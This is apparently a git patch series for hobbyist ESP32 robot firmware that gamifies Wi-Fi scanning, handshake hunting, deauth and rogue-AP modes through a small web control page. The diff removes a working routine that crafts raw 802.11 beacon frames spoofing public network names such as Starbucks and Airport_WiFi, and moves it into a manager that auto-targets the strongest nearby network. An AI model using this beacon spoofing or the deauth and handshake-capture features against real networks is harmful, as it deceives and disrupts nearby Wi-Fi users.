getSpectrumNeon(Mode mode, int netCount, uint32_t now) { + (void)mode; (void)netCount; + int phase = (now / 200) % 6; + return NeonColor{0xFF, (uint8_t)(0x00 << (phase * 2)), 0xFF}; +} + +static NeonColor getBleScanNeon(Mode mode, int netCount, uint32_t now) { + (void)mode; (void)netCount; + bool blinkOn = (now / 250) % 2; + return blinkOn ? NeonColor{0x00, 0x88, 0xFF} : NeonColor{0x00, 0x44, 0x88}; +} + +static NeonColor getRogueNeon(Mode mode, int netCount, uint32_t now) { + (void)mode; (void)netCount; + bool blinkOn = (now / 150) % 2; + return blinkOn ? NeonColor{0xAA, 0x00, 0xFF} : NeonColor{0x55, 0x00, 0x88}; +} + +static NeonColor getConfigNeon(Mode mode, int netCount, uint32_t now) { + (void)mode; (void)netCount; + bool blinkOn = (now / 500) % 2; + return blinkOn ? NeonColor{0xFF, 0xAA, 0x00} : NeonColor{0xAA, 0x55, 0x00}; +} + +static NeonColor getStatsNeon(Mode mode, int netCount, uint32_t now) { + (void)mode; (void)netCount; + bool blinkOn = (now / 500) % 2; + return blinkOn ? NeonColor{0xAA, 0xFF, 0xFF} : NeonColor{0x55, 0xAA, 0xAA}; +} + +static const ModeInfo MODE_TABLE[] = { + {Mode::IDLE, "IDLE", Mood::NEUTRAL, false, false, false, false, false, 0.0f, 0, false, false, + Mode::SCOUT, Mode::STATS, 0, 3000, 0, + {0x00, 0xFF, 0x88}, getIdleNeon, nullptr}, + {Mode::SCOUT, "SCOUT", Mood::NEUTRAL, true, false, true, false, false, 0.8f, 200, false, true, + Mode::HUNT, Mode::IDLE, 800, 1500, 1, + {0x00, 0x66, 0xFF}, getScoutNeon, nullptr}, + {Mode::HUNT, "HUNT", Mood::FOCUSED, true, false, true, false, false, 1.0f, 200, true, true, + Mode::WARDIVE, Mode::SCOUT, 600, 800, 4, + {0x00, 0xFF, 0x00}, getHuntNeon, nullptr}, + {Mode::WARDIVE, "WARDIVE", Mood::EXCITED, true, false, true, false, false, 1.5f, 200, false, true, + Mode::SPECTRUM, Mode::HUNT, 1000, 600, 2, + {0xFF, 0x66, 0x00}, getWardiveNeon, nullptr}, + {Mode::SPECTRUM, "SPECTRUM", Mood::FOCUSED, true, false, true, false, false, 1.2f, 200, false, true, + Mode::BLE_SCAN, Mode::WARDIVE, 1200, 1000, 4, + {0xFF, 0x00, 0xFF}, getSpectrumNeon, nullptr}, + {Mode::BLE_SCAN, "BLE_SCAN", Mood::FOCUSED, false, true, false, false, false, 1.0f, 0, false, false, + Mode::ROGUE, Mode::SPECTRUM, 0, 600, 4, + {0x00, 0x88, 0xFF}, getBleScanNeon, nullptr}, + {Mode::ROGUE, "ROGUE", Mood::EXCITED, true, false, false, true, false, 1.0f, 0, false, false, + Mode::STATS, Mode::BLE_SCAN, 350, 500, 2, + {0xAA, 0x00, 0xFF}, getRogueNeon, nullptr}, + {Mode::CONFIG, "CONFIG", Mood::NEUTRAL, true, false, false, false, true, 0.0f, 0, false, false, + Mode::SCOUT, Mode::SCOUT, 0, 3000, 0, + {0xFF, 0xAA, 0x00}, getConfigNeon, nullptr}, + {Mode::STATS, "STATS", Mood::HAPPY, false, false, false, false, false, 0.0f, 0, false, false, + Mode::IDLE, Mode::ROGUE, 0, 2000, 1, + {0xAA, 0xFF, 0xFF}, getStatsNeon, nullptr}, +}; + +const ModeInfo& getModeInfo(Mode mode) { + int idx = static_cast(mode); + if (idx < 0 || idx >= 9) { + idx = 0; + } + return MODE_TABLE[idx]; +} + +NeonColor getNeonColor(Mode mode, int networkCount, uint32_t now) { + const ModeInfo& mi = getModeInfo(mode); + if (mi.getDynamicNeon) { + return mi.getDynamicNeon(mode, networkCount, now); + } + return mi.defaultNeon; +} + +void onModeEnter(Mode mode) { + const ModeInfo& mi = getModeInfo(mode); + if (mi.onEnter) { + mi.onEnter(mode); + } +} + +} \ No newline at end of file diff --git a/firmware/main/gotchi/mode.h b/firmware/main/gotchi/mode.h new file mode 100644 index 0000000..0d1ac40 --- /dev/null +++ b/firmware/main/gotchi/mode.h @@ -0,0 +1,57 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once +#include +#include + +namespace gotchi { + +enum class Mode; + +struct NeonColor { + uint8_t r, g, b; +}; + +typedef void (*ModeEnterCallback)(Mode mode); +typedef NeonColor (*NeonColorCallback)(Mode mode, int networkCount, uint32_t now); + +struct ModeInfo { + Mode mode; + const char* name; + Mood mood; + bool needsWiFi; + bool needsBLE; + bool isScanning; + bool isBeaconSpam; + bool isConfigMode; + float xpMultiplier; + uint32_t hopIntervalMs; + bool enableDeauth; + bool enableChannelHop; + + Mode nextMode; + Mode prevMode; + uint32_t toneFreq; + uint32_t headMoveIntervalMs; + int avatarEmotion; + NeonColor defaultNeon; + NeonColorCallback getDynamicNeon; + ModeEnterCallback onEnter; +}; + +inline const uint8_t* getChannelSequence() { + static const uint8_t seq[] = {1, 6, 11, 2, 3, 4, 5, 7, 8, 9, 10, 12, 13}; + return seq; +} +inline constexpr int getChannelSequenceLength() { return 13; } + +const ModeInfo& getModeInfo(Mode mode); +NeonColor getNeonColor(Mode mode, int networkCount, uint32_t now); +void onModeEnter(Mode mode); + +inline int getModeAvatarEmotion(Mode mode) { return getModeInfo(mode).avatarEmotion; } +inline uint32_t getModeHeadMoveInterval(Mode mode) { return getModeInfo(mode).headMoveIntervalMs; } + +} \ No newline at end of file diff --git a/firmware/main/gotchi/web_manager.cpp b/firmware/main/gotchi/web_manager.cpp new file mode 100644 index 0000000..8dac4a2 --- /dev/null +++ b/firmware/main/gotchi/web_manager.cpp @@ -0,0 +1,361 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "web_manager.h" +#include +#include +#include +#include +#include "gotchi.h" +#include "storage.h" + +static const char* TAG = "gotchi_web"; + +namespace gotchi { + +WebManager* WebManager::_instance = nullptr; + +WebManager::WebManager() : _server(nullptr), _htmlSource(HtmlSource::Internal) { + _htmlFilePath[0] = '\0'; + _instance = this; +} + +WebManager::~WebManager() { + stop(); + _instance = nullptr; +} + +void WebManager::start() { + if (_server != nullptr) return; + + httpd_config_t config = HTTPD_DEFAULT_CONFIG(); + config.server_port = 80; + config.stack_size = 4096; + + httpd_uri_t rootUri = {"/", HTTP_GET, rootHandler, nullptr}; + httpd_uri_t apiConfigUri = {"/api/config", HTTP_GET, apiConfigHandler, nullptr}; + httpd_uri_t apiConfigPostUri = {"/api/config", HTTP_POST, apiConfigHandler, nullptr}; + httpd_uri_t apiStatsUri = {"/api/stats", HTTP_GET, apiStatsHandler, nullptr}; + httpd_uri_t apiRogueUri = {"/api/rogue", HTTP_POST, apiRogueHandler, nullptr}; + httpd_uri_t apiFilesUri = {"/api/files", HTTP_GET, apiFilesHandler, nullptr}; + httpd_uri_t apiWigleUri = {"/api/wigle", HTTP_POST, apiWigleHandler, nullptr}; + httpd_uri_t apiPwnUri = {"/api/pwnagotchi", HTTP_POST, apiPwnagotchiHandler, nullptr}; + + if (httpd_start(&_server, &config) == ESP_OK) { + httpd_register_uri_handler(_server, &rootUri); + httpd_register_uri_handler(_server, &apiConfigUri); + httpd_register_uri_handler(_server, &apiConfigPostUri); + httpd_register_uri_handler(_server, &apiStatsUri); + httpd_register_uri_handler(_server, &apiRogueUri); + httpd_register_uri_handler(_server, &apiFilesUri); + httpd_register_uri_handler(_server, &apiWigleUri); + httpd_register_uri_handler(_server, &apiPwnUri); + ESP_LOGI(TAG, "HTTP server started"); + } else { + ESP_LOGW(TAG, "HTTP server failed to start"); + } +} + +void WebManager::stop() { + if (_server != nullptr) { + httpd_stop(_server); + _server = nullptr; + ESP_LOGI(TAG, "HTTP server stopped"); + } +} + +void WebManager::setHtmlSource(HtmlSource source, const char* path) { + _htmlSource = source; + if (path != nullptr) { + strncpy(_htmlFilePath, path, sizeof(_htmlFilePath) - 1); + } +} + +const char* WebManager::generateHtml() { + if (_htmlSource == HtmlSource::File && _htmlFilePath[0] != '\0') { + return loadHtmlFromFile(_htmlFilePath); + } + + static const char html[] = R"HTML( +StackChan-Gotchi + + + +

StackChan-Gotchi

+ +
+ +
+
+

Current: Loading...

+

Level: - | XP: - | Nets: -

+
+
+

Mode Selection

+ + +
+
+

Quick Actions

+ + +
+
+ +
+
+

Player Stats

+ + + + + + + + +
Level-
XP-
Networks-
Handshakes-
Prestige-
Uptime-
Achievements-
+
+
+

Session Stats

+

Session XP: -

+

Session Time: -

+
+
+ +
+
+

Discovered Networks

+
Loading...
+
+
+ +
+
+

Storage

+

Free: -

+
+
+ +)HTML"; + return html; +} + +const char* WebManager::loadHtmlFromFile(const char* path) { + // Future: Load HTML from SD card file + ESP_LOGW(TAG, "HTML file loading not implemented, using internal"); + return nullptr; +} + +esp_err_t WebManager::rootHandler(httpd_req_t* req) { + WebManager* wm = getInstance(); + if (!wm) return ESP_FAIL; + + const char* html = wm->generateHtml(); + httpd_resp_set_type(req, "text/html"); + httpd_resp_send(req, html, strlen(html)); + return ESP_OK; +} + +esp_err_t WebManager::apiConfigHandler(httpd_req_t* req) { + if (req->method == HTTP_GET) { + Stats s = getStats(); + char json[256]; + snprintf(json, sizeof(json), + "{\"mode\":\"%s\",\"level\":%d,\"xp\":%d,\"apActive\":%s}", + getModeName(getCurrentMode()), + (int)s.level, + (int)s.xp, + isConfigMode() ? "true" : "false"); + httpd_resp_set_type(req, "application/json"); + httpd_resp_send(req, json, strlen(json)); + return ESP_OK; + } + + char content[256]; + int ret = httpd_req_recv(req, content, sizeof(content) - 1); + if (ret <= 0) return ESP_FAIL; + content[ret] = '\0'; + + // Parse mode from JSON and set it + char modeStr[32] = {0}; + if (sscanf(content, "%*[^:]%*c%31s", modeStr) == 1) { + // Remove trailing } + char* p = strchr(modeStr, '}'); + if (p) *p = '\0'; + + // Remove quotes + if (modeStr[0] == '"') memmove(modeStr, modeStr+1, strlen(modeStr)); + int len = strlen(modeStr); + if (len > 0 && modeStr[len-1] == '"') modeStr[len-1] = '\0'; + + Mode m = Mode::IDLE; + if (strcmp(modeStr, "SCOUT") == 0) m = Mode::SCOUT; + else if (strcmp(modeStr, "HUNT") == 0) m = Mode::HUNT; + else if (strcmp(modeStr, "WARDIVE") == 0) m = Mode::WARDIVE; + else if (strcmp(modeStr, "SPECTRUM") == 0) m = Mode::SPECTRUM; + else if (strcmp(modeStr, "BLE_SCAN") == 0) m = Mode::BLE_SCAN; + else if (strcmp(modeStr, "ROGUE") == 0) m = Mode::ROGUE; + else if (strcmp(modeStr, "STATS") == 0) m = Mode::STATS; + else if (strcmp(modeStr, "CONFIG") == 0) m = Mode::CONFIG; + + setMode(m); + } + + httpd_resp_set_type(req, "application/json"); + httpd_resp_send(req, "{\"status\":\"ok\",\"mode\":\"CONFIG\"}", 30); + return ESP_OK; +} + +esp_err_t WebManager::apiStatsHandler(httpd_req_t* req) { + Stats s = getStats(); + auto networks = getNetworks(); + + char json[1024]; + int pos = snprintf(json, sizeof(json), + "{\"mode\":\"%s\",\"level\":%d,\"xp\":%d,\"networks\":%u,\"handshakes\":%u," + "\"prestige\":%u,\"achievements\":%u,\"uptime\":\"%us\",\"sessionXP\":%u,\"sessionTime\":\"%us\",\"networksList\":[", + getModeName(getCurrentMode()), + (int)s.level, (int)s.xp, + (unsigned)s.networksFound, (unsigned)s.handshakesCaptured, + (unsigned)s.prestige, (unsigned)s.achievementCount, + (unsigned)s.uptimeSeconds, + (unsigned)(s.xp - s.sessionXPGain), + (unsigned)s.sessionTimeSeconds); + + for (size_t i = 0; i < networks.size() && i < 10; i++) { + pos += snprintf(json + pos, sizeof(json) - pos, + "{\"ssid\":\"%.32s\",\"ch\":%d,\"rssi\":%d}%s", + networks[i].ssid, networks[i].channel, (int)networks[i].rssi, + (i < networks.size() - 1 && i < 9) ? "," : ""); + } + + pos += snprintf(json + pos, sizeof(json) - pos, "]}"); + + httpd_resp_set_type(req, "application/json"); + httpd_resp_send(req, json, strlen(json)); + return ESP_OK; +} + +esp_err_t WebManager::apiRogueHandler(httpd_req_t* req) { + // Stop rogue mode + stopRogue(); + + httpd_resp_set_type(req, "application/json"); + httpd_resp_send(req, "{\"status\":\"stopped\"}", 18); + return ESP_OK; +} + +esp_err_t WebManager::apiFilesHandler(httpd_req_t* req) { + char json[256]; + snprintf(json, sizeof(json), "{\"freeSpace\":%lld,\"files\":[]}", + (long long)getStorageFreeSpace()); + + httpd_resp_set_type(req, "application/json"); + httpd_resp_send(req, json, strlen(json)); + return ESP_OK; +} + +esp_err_t WebManager::apiWigleHandler(httpd_req_t* req) { + httpd_resp_set_type(req, "application/json"); + httpd_resp_send(req, "{\"status\":\"not_implemented\"}", 26); + return ESP_OK; +} + +esp_err_t WebManager::apiPwnagotchiHandler(httpd_req_t* req) { + httpd_resp_set_type(req, "application/json"); + httpd_resp_send(req, "{\"status\":\"not_implemented\"}", 26); + return ESP_OK; +} + +WebManager& getWebManager() { + static WebManager wm; + return wm; +} + +} \ No newline at end of file From 9b431acb4606e9a3538c3de1531f9eba9a085535 Mon Sep 17 00:00:00 2001 From: Paul Butler Date: Mon, 11 May 2026 20:47:45 +0100 Subject: [PATCH 08/17] OOP refactoring: ModeInfo table + RogueManager + WebManager network selector - Add ModeInfo centralized mode definitions (name, mood, XP, neon, dialogue) - Create RogueManager class for ROGUE mode beacon spam with NVS persistence - Add network selector to CONFIG web interface (load/set target networks) - Auto-select strongest discovered network when starting ROGUE mode - Clear AP config to prevent 'StackChan-Config' SSID during ROGUE mode - Add mode-specific idle dialogue phrases - Clean up legacy code (~760 lines removed from gotchi.cpp and app_gotchi.cpp) --- firmware/main/CMakeLists.txt | 1 + firmware/main/apps/app_gotchi/app_gotchi.cpp | 32 +-- firmware/main/gotchi/gotchi.cpp | 140 +++--------- firmware/main/gotchi/idle_dialogue.cpp | 102 +++++++++ firmware/main/gotchi/idle_dialogue.h | 1 + firmware/main/gotchi/mode.cpp | 18 +- firmware/main/gotchi/mode.h | 20 ++ firmware/main/gotchi/rogue_manager.cpp | 225 +++++++++++++++++++ firmware/main/gotchi/rogue_manager.h | 52 +++++ firmware/main/gotchi/web_manager.cpp | 102 ++++++++- firmware/main/gotchi/web_manager.h | 2 + 11 files changed, 547 insertions(+), 148 deletions(-) create mode 100644 firmware/main/gotchi/rogue_manager.cpp create mode 100644 firmware/main/gotchi/rogue_manager.h diff --git a/firmware/main/CMakeLists.txt b/firmware/main/CMakeLists.txt index 0f52819..7884cd9 100644 --- a/firmware/main/CMakeLists.txt +++ b/firmware/main/CMakeLists.txt @@ -18,6 +18,7 @@ file(GLOB_RECURSE STACK_CHAN_SOURCES "gotchi/*.cc" "gotchi/*.cpp" "gotchi/mode.cpp" + "gotchi/rogue_manager.cpp" ) set(STACK_CHAN_INCLUDE_DIRS "." diff --git a/firmware/main/apps/app_gotchi/app_gotchi.cpp b/firmware/main/apps/app_gotchi/app_gotchi.cpp index 5b06bc8..f8eed5f 100644 --- a/firmware/main/apps/app_gotchi/app_gotchi.cpp +++ b/firmware/main/apps/app_gotchi/app_gotchi.cpp @@ -357,25 +357,8 @@ void AppGotchi::updateHeadAnimation() { auto& motion = GetStackChan().motion(); uint32_t interval = gotchi::getModeHeadMoveInterval(_currentMode); - int16_t baseYaw = 0; - int16_t basePitch = 200; - - switch (_currentMode) { - case gotchi::Mode::SCOUT: - basePitch = 150; - break; - case gotchi::Mode::WARDIVE: - baseYaw = (now / interval) % 2 ? 300 : -300; - break; - case gotchi::Mode::SPECTRUM: - baseYaw = (int16_t)((now / interval) % 6 - 3) * 150; - break; - case gotchi::Mode::ROGUE: - baseYaw = (int16_t)((now / 250 % 4) - 2) * 120; - break; - default: - break; - } + int16_t baseYaw = gotchi::getModeHeadYaw(_currentMode, now, interval); + int16_t basePitch = gotchi::getModeHeadPitch(_currentMode); bool targetChanged = false; @@ -889,15 +872,14 @@ void AppGotchi::renderUI() { _networkListLabel->setText("[W] Scanning for networks..."); } - // Idle dialogue - random quirky phrases in all active modes (except ROGUE) - if (_currentMode == gotchi::Mode::HUNT || _currentMode == gotchi::Mode::SCOUT || - _currentMode == gotchi::Mode::WARDIVE || _currentMode == gotchi::Mode::SPECTRUM || - _currentMode == gotchi::Mode::BLE_SCAN) { + // Idle dialogue - use mode-specific phrases based on ModeInfo + if (gotchi::isDialogueEnabled(_currentMode)) { + uint32_t interval = gotchi::getModeDialogueInterval(_currentMode); uint32_t now = GetHAL().millis(); - if (now - _lastIdleSpeak > 5000 && _idleDialogue.shouldSpeak(now)) { + if (interval > 0 && now - _lastIdleSpeak > interval && _idleDialogue.shouldSpeak(now)) { _lastIdleSpeak = now; if (GetStackChan().hasAvatar()) { - const char* phrase = _idleDialogue.getRandomPhrase(networks, stats.xp, stats.level, true); + const char* phrase = _idleDialogue.getModeSpecificPhrase(_currentMode); GetStackChan().avatar().setSpeech(phrase); GetStackChan().addModifier(std::make_unique(2500, 180, true)); } diff --git a/firmware/main/gotchi/gotchi.cpp b/firmware/main/gotchi/gotchi.cpp index 9e31573..dfda293 100644 --- a/firmware/main/gotchi/gotchi.cpp +++ b/firmware/main/gotchi/gotchi.cpp @@ -9,6 +9,7 @@ #include "achievement_system.h" #include "web_manager.h" #include "mode.h" +#include "rogue_manager.h" #include #include #include @@ -1046,113 +1047,17 @@ void stopBLEScan() { ESP_LOGI(TAG, "BLE scan stopped, found %d devices", (int)_bleDevices.size()); } -static TaskHandle_t _beaconTaskHandle = nullptr; static TaskHandle_t _configTaskHandle = nullptr; static esp_netif_t* _ap_netif_handle = nullptr; // Shared AP netif handle for CONFIG/ROGUE modes -static const char* ROGUE_SSIDS[] = { - "Free_WiFi", "Airport_WiFi", "Hotel_WiFi", "Coffee_Shop", "Starbucks", - "McDonalds", "Library_WiFi", "School_Network", "Office_Guest", "Conference", - "Neighbor_WiFi", "Linksys", "NETGEAR", "TP-Link", "Default", - "XFINITY", "ATT_WiFi", "Verizon_WiFi", "Cafe_Free", "Public_WiFi" -}; - -static void sendBeaconFrame(const char* ssid, const uint8_t* bssid, uint8_t channel) { - uint8_t beacon[128]; - memset(beacon, 0, sizeof(beacon)); - - beacon[0] = 0x80; - beacon[1] = 0x00; - beacon[2] = 0x00; - beacon[3] = 0x00; - memset(&beacon[4], 0xFF, 6); - memcpy(&beacon[10], bssid, 6); - memcpy(&beacon[16], bssid, 6); - beacon[18] = 0x00; - beacon[19] = 0x00; - - uint64_t timestamp = GetHAL().millis() * 1000; - for (int i = 0; i < 8; i++) { - beacon[20 + i] = (timestamp >> (i * 8)) & 0xFF; - } - beacon[28] = 0x64; - beacon[29] = 0x00; - beacon[30] = 0x01; - beacon[31] = 0x01; - - int pos = 32; - beacon[pos++] = 0x00; - beacon[pos++] = strlen(ssid); - memcpy(&beacon[pos], ssid, strlen(ssid)); - pos += strlen(ssid); - - beacon[pos++] = 0x01; - beacon[pos++] = 4; - beacon[pos++] = 0x82; - beacon[pos++] = 0x84; - beacon[pos++] = 0x8B; - beacon[pos++] = 0x96; - - beacon[pos++] = 0x03; - beacon[pos++] = 1; - beacon[pos++] = channel; - - esp_wifi_80211_tx(WIFI_IF_AP, beacon, pos, false); -} - -static void beaconTask(void* param) { - (void)param; - ESP_LOGI(TAG, "Beacon spam task started"); - - uint32_t beaconCount = 0; - uint32_t lastLog = GetHAL().millis(); - - uint8_t bssids[5][6]; - for (int i = 0; i < 5; i++) { - bssids[i][0] = 0x00; - bssids[i][1] = 0x11; - bssids[i][2] = 0x22; - bssids[i][3] = 0x33; - bssids[i][4] = 0x44 + i; - bssids[i][5] = (uint8_t)(esp_random() & 0xFF); - } - - // Fixed channel 6 - no hopping (like PORKCHOP BACON mode) - uint8_t channel = 6; - - while (_beaconSpamming) { - // Send batch of fake AP beacons - for (int i = 0; i < 5 && _beaconSpamming; i++) { - sendBeaconFrame(ROGUE_SSIDS[(beaconCount + i) % 20], bssids[i], channel); - beaconCount++; - vTaskDelay(pdMS_TO_TICKS(100)); // 100ms between beacons (balanced rate) - } - - vTaskDelay(pdMS_TO_TICKS(200)); - - if (GetHAL().millis() - lastLog > 5000) { - ESP_LOGI(TAG, "Beacons sent: %u on CH%d", beaconCount, channel); - lastLog = GetHAL().millis(); - } - } - - ESP_LOGI(TAG, "Beacon spam stopped, sent %u frames", beaconCount); - _beaconSpamming = false; - vTaskDelete(NULL); -} - void startRogue() { - if (_beaconSpamming) return; - ESP_LOGI(TAG, "Starting ROGUE mode - beacon spam"); ESP_LOGW(TAG, "WARNING: Educational use only!"); esp_wifi_stop(); vTaskDelay(pdMS_TO_TICKS(200)); - // Only init if not already done - handle case where event loop exists static bool netif_initialized = false; - static bool ap_netif_created = false; if (!netif_initialized) { esp_err_t err = esp_netif_init(); @@ -1168,24 +1073,19 @@ void startRogue() { netif_initialized = true; } - // Try to get existing AP netif first (handles case from CONFIG mode or previous ROGUE run) if (!_ap_netif_handle) { _ap_netif_handle = esp_netif_get_default_netif(); } - // If still no handle, try to create one if (!_ap_netif_handle) { _ap_netif_handle = esp_netif_create_default_wifi_ap(); if (_ap_netif_handle) { - ap_netif_created = true; ESP_LOGI(TAG, "AP netif created"); } } else { ESP_LOGI(TAG, "Using existing AP netif"); - ap_netif_created = true; } - // Re-init WiFi to ensure clean state esp_wifi_deinit(); vTaskDelay(pdMS_TO_TICKS(100)); @@ -1204,13 +1104,26 @@ void startRogue() { } vTaskDelay(pdMS_TO_TICKS(100)); - // Set channel 6 (standard, less congested) ret = esp_wifi_set_channel(6, WIFI_SECOND_CHAN_NONE); if (ret != ESP_OK) { ESP_LOGW(TAG, "WiFi channel set failed: %d", ret); } vTaskDelay(pdMS_TO_TICKS(100)); + wifi_config_t ap_config = {0}; + ap_config.ap.ssid_len = 0; + ap_config.ap.channel = 6; + ap_config.ap.authmode = WIFI_AUTH_OPEN; + ap_config.ap.max_connection = 0; + ap_config.ap.beacon_interval = 100; + strcpy((char*)ap_config.ap.ssid, " "); + ap_config.ap.ssid[0] = 0; + ret = esp_wifi_set_config(WIFI_IF_AP, &ap_config); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "AP config cleared: %d", ret); + } + vTaskDelay(pdMS_TO_TICKS(100)); + ret = esp_wifi_start(); if (ret != ESP_OK) { ESP_LOGW(TAG, "WiFi start failed: %d", ret); @@ -1219,8 +1132,20 @@ void startRogue() { vTaskDelay(pdMS_TO_TICKS(500)); _wifiInitialized = true; + + RogueManager& rogue = getRogueManager(); + rogue.loadFromNVS(); + + if (!rogue.getTarget().valid) { + auto networks = getNetworks(); + if (!networks.empty()) { + rogue.autoSelectStrongest(networks); + ESP_LOGI(TAG, "Auto-selected strongest network for ROGUE"); + } + } + + rogue.start(); _beaconSpamming = true; - xTaskCreate(beaconTask, "beacon_task", 4096, NULL, 5, &_beaconTaskHandle); ESP_LOGI(TAG, "ROGUE mode active - ready to send beacons"); } @@ -1228,13 +1153,9 @@ void startRogue() { void stopRogue() { if (!_beaconSpamming) return; + getRogueManager().stop(); _beaconSpamming = false; - if (_beaconTaskHandle) { - vTaskDelay(pdMS_TO_TICKS(100)); - _beaconTaskHandle = nullptr; - } - esp_wifi_stop(); vTaskDelay(pdMS_TO_TICKS(100)); @@ -1269,7 +1190,6 @@ void startConfigMode() { // Only init if not already done - handle case where event loop exists // Note: netif_initialized is shared with startRogue static bool netif_initialized = false; - static bool ap_netif_created = false; if (!netif_initialized) { esp_err_t err = esp_netif_init(); if (err != ESP_OK && err != ESP_ERR_INVALID_STATE) { @@ -1293,12 +1213,10 @@ void startConfigMode() { if (!_ap_netif_handle) { _ap_netif_handle = esp_netif_create_default_wifi_ap(); if (_ap_netif_handle) { - ap_netif_created = true; ESP_LOGI(TAG, "AP netif created for CONFIG"); } } else { ESP_LOGI(TAG, "Using existing AP netif for CONFIG"); - ap_netif_created = true; } // Re-init WiFi to ensure clean state diff --git a/firmware/main/gotchi/idle_dialogue.cpp b/firmware/main/gotchi/idle_dialogue.cpp index d59e606..8c475b4 100644 --- a/firmware/main/gotchi/idle_dialogue.cpp +++ b/firmware/main/gotchi/idle_dialogue.cpp @@ -140,6 +140,63 @@ const IdlePhrase IdleDialogue::_modePhrases[] = { {"Idle mode - power saving", IdleMood::OBSERVING, 1, false}, }; +// Mode-specific idle phrases - used during active scanning +const IdlePhrase _scoutPhrases[] = { + {"Scanning all the things!", IdleMood::OBSERVING, 5, true}, + {"Any networks out there?", IdleMood::OBSERVING, 4, true}, + {"*antennas on full power*", IdleMood::OBSERVING, 6, true}, + {"Searching for SSIDs...", IdleMood::OBSERVING, 3, false}, + {"Who lives at this frequency?", IdleMood::CURIOUS, 5, true}, +}; + +const IdlePhrase _huntPhrases[] = { + {"Hunting handshakes!", IdleMood::FOCUSED, 6, true}, + {"Target acquisition mode!", IdleMood::FOCUSED, 5, true}, + {"*lock on tone plays*", IdleMood::FOCUSED, 7, true}, + {"Analyzing traffic patterns...", IdleMood::FOCUSED, 3, false}, + {"Any vulnerable packets here?", IdleMood::FOCUSED, 4, true}, +}; + +const IdlePhrase _wardivePhrases[] = { + {"Time to map the neighborhood!", IdleMood::EXCITED, 7, true}, + {"*turns on GPS*", IdleMood::EXCITED, 5, true}, + {"Mapping all the networks!", IdleMood::EXCITED, 6, true}, + {"Wardrive engage!", IdleMood::EXCITED, 8, true}, + {"Coordinates locked!", IdleMood::FOCUSED, 4, true}, +}; + +const IdlePhrase _spectrumPhrases[] = { + {"Scanning RF spectrum...", IdleMood::FOCUSED, 4, false}, + {"*tunes frequency*", IdleMood::FOCUSED, 5, true}, + {"Finding the busy channels...", IdleMood::FOCUSED, 3, false}, + {"Analyzing spectrum usage...", IdleMood::FOCUSED, 2, false}, + {"Which channel is loudest?", IdleMood::CURIOUS, 4, true}, +}; + +const IdlePhrase _bleScanPhrases[] = { + {"Any BLE devices nearby?", IdleMood::CURIOUS, 5, true}, + {"*listens to Bluetooth*", IdleMood::CURIOUS, 6, true}, + {"Discovering devices...", IdleMood::OBSERVING, 3, false}, + {"Who's broadcasting?", IdleMood::CURIOUS, 5, true}, + {"BLE activity detected!", IdleMood::EXCITED, 6, true}, +}; + +const IdlePhrase _roguePhrases[] = { + {"*beacon spam initiated*", IdleMood::EXCITED, 8, true}, + {"Educational mode: active!", IdleMood::EXCITED, 7, true}, + {"Deploying honeypots!", IdleMood::EXCITED, 6, false}, + {"*evil laugh (just kidding)*", IdleMood::EXCITED, 9, true}, + {"Broadcasting test APs...", IdleMood::FOCUSED, 4, false}, +}; + +const IdlePhrase _idlePhrases[] = { + {"*power saving mode*", IdleMood::IDLE_BOT, 1, false}, + {"Zzz... packets... zzz", IdleMood::IDLE_BOT, 1, false}, + {"*recharging batteries*", IdleMood::IDLE_BOT, 2, true}, + {"Dreaming of SSIDs...", IdleMood::IDLE_BOT, 1, false}, + {"Low power mode active", IdleMood::IDLE_BOT, 0, false}, +}; + IdleDialogue::IdleDialogue() { srand(GetHAL().millis()); } @@ -265,4 +322,49 @@ const char* IdleDialogue::getModeChangePhrase(Mode mode) { return _modePhrases[index].text; } +const char* IdleDialogue::getModeSpecificPhrase(Mode mode) { + const IdlePhrase* phrases = nullptr; + int count = 0; + + switch (mode) { + case Mode::SCOUT: + phrases = _scoutPhrases; + count = sizeof(_scoutPhrases) / sizeof(_scoutPhrases[0]); + break; + case Mode::HUNT: + phrases = _huntPhrases; + count = sizeof(_huntPhrases) / sizeof(_huntPhrases[0]); + break; + case Mode::WARDIVE: + phrases = _wardivePhrases; + count = sizeof(_wardivePhrases) / sizeof(_wardivePhrases[0]); + break; + case Mode::SPECTRUM: + phrases = _spectrumPhrases; + count = sizeof(_spectrumPhrases) / sizeof(_spectrumPhrases[0]); + break; + case Mode::BLE_SCAN: + phrases = _bleScanPhrases; + count = sizeof(_bleScanPhrases) / sizeof(_bleScanPhrases[0]); + break; + case Mode::ROGUE: + phrases = _roguePhrases; + count = sizeof(_roguePhrases) / sizeof(_roguePhrases[0]); + break; + case Mode::IDLE: + phrases = _idlePhrases; + count = sizeof(_idlePhrases) / sizeof(_idlePhrases[0]); + break; + default: + phrases = _scoutPhrases; + count = sizeof(_scoutPhrases) / sizeof(_scoutPhrases[0]); + break; + } + + if (phrases && count > 0) { + return phrases[rand() % count].text; + } + return "beep boop"; +} + } // namespace gotchi \ No newline at end of file diff --git a/firmware/main/gotchi/idle_dialogue.h b/firmware/main/gotchi/idle_dialogue.h index cc0ed7e..79e3064 100644 --- a/firmware/main/gotchi/idle_dialogue.h +++ b/firmware/main/gotchi/idle_dialogue.h @@ -36,6 +36,7 @@ class IdleDialogue { const char* getBLEDeviceFoundPhrase(const char* name); const char* getMilestonePhrase(int level); const char* getModeChangePhrase(Mode mode); + const char* getModeSpecificPhrase(Mode mode); // Check if should speak now (with cooldown) bool shouldSpeak(uint32_t now); diff --git a/firmware/main/gotchi/mode.cpp b/firmware/main/gotchi/mode.cpp index 841373d..6ca3ffa 100644 --- a/firmware/main/gotchi/mode.cpp +++ b/firmware/main/gotchi/mode.cpp @@ -68,31 +68,31 @@ static NeonColor getStatsNeon(Mode mode, int netCount, uint32_t now) { static const ModeInfo MODE_TABLE[] = { {Mode::IDLE, "IDLE", Mood::NEUTRAL, false, false, false, false, false, 0.0f, 0, false, false, - Mode::SCOUT, Mode::STATS, 0, 3000, 0, + Mode::SCOUT, Mode::STATS, 0, 3000, 0, 0, 200, 0, true, 8000, 4, {0x00, 0xFF, 0x88}, getIdleNeon, nullptr}, {Mode::SCOUT, "SCOUT", Mood::NEUTRAL, true, false, true, false, false, 0.8f, 200, false, true, - Mode::HUNT, Mode::IDLE, 800, 1500, 1, + Mode::HUNT, Mode::IDLE, 800, 1500, 0, 0, 150, 1, true, 6000, 0, 